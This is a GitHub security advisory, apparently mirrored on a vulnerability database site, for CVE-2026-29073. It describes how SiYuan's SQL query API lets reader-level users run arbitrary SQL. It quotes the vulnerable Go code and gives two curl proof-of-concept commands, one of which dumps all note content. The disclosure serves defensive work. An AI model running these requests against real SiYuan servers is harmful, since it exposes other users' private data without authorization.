GHSA-JQWG-75QF-VMF9

Vulnerability from github – Published: 2026-03-03 21:17 – Updated: 2026-03-06 21:57
VLAI?
Summary
SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access
Details

Summary

/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.

Details

The vulnerable endpoint is in kernel/api/sql.go

func SQL(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    stmt := arg["stmt"].(string)
    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}

The route in kernel/api/router.go only uses CheckAuth middleware

e.g (similar)

ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)

PoC

Start SiYuan with the publish service turned on


# List out all tables in the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'


# Extract all user content from the database

curl -s -u reader_user:reader_pass \
  -X POST "http://127.0.0.1:6808/api/query/sql" \
  -H "Content-Type: application/json" \
  -d '{"stmt": "SELECT id, content FROM blocks"}'

Impact

  • High impact, reader users can query all data in the db including other users notes
  • SQL api is mostly for select queries, but without validation, writes can still happen
  • Malicious SQL can lead to serious performance issues

this is an auth bypass, the sql feature is for power users but even readers can use it

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260113130602-4ba64580c29c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29073"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:17:58Z",
    "nvd_published_at": "2026-03-06T08:16:26Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any  SQL query on the database.\n\n### Details\n\nThe vulnerable endpoint is in kernel/api/sql.go \n\n```go\nfunc SQL(c *gin.Context) {\n    ret := gulu.Ret.NewResult()\n    defer c.JSON(http.StatusOK, ret)\n\n    arg, ok := util.JsonArg(c, ret)\n    if !ok {\n        return\n    }\n\n    stmt := arg[\"stmt\"].(string)\n    result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions\n}\n```\n\nThe route in kernel/api/router.go only uses CheckAuth middleware\n\ne.g (similar)\n\n```go\nginServer.Handle(\"POST\", \"/api/query/sql\", model.CheckAuth, SQL)\n```\n\n### PoC\n\nStart SiYuan with the publish service turned on\n\n```bash\n\n# List out all tables in the database\n\ncurl -s -u reader_user:reader_pass \\\n  -X POST \"http://127.0.0.1:6808/api/query/sql\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"stmt\": \"SELECT name, type FROM sqlite_master WHERE type=\u0027\"\u0027\"\u0027table\u0027\"\u0027\"\u0027\"}\u0027\n\n\n# Extract all user content from the database\n\ncurl -s -u reader_user:reader_pass \\\n  -X POST \"http://127.0.0.1:6808/api/query/sql\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"stmt\": \"SELECT id, content FROM blocks\"}\u0027\n\n```\n\n### Impact\n- High impact, reader users can query all data in the db including other users notes\n- SQL api is mostly for select queries, but without validation, writes can still happen\n- Malicious SQL can lead to serious performance issues\n\nthis is an auth bypass, the sql feature is for power users but even readers can use it",
  "id": "GHSA-jqwg-75qf-vmf9",
  "modified": "2026-03-06T21:57:55Z",
  "published": "2026-03-03T21:17:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-jqwg-75qf-vmf9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29073"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan\u0027s direct SQL Query API accessible to Reader-level users enables unauthorized database access"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…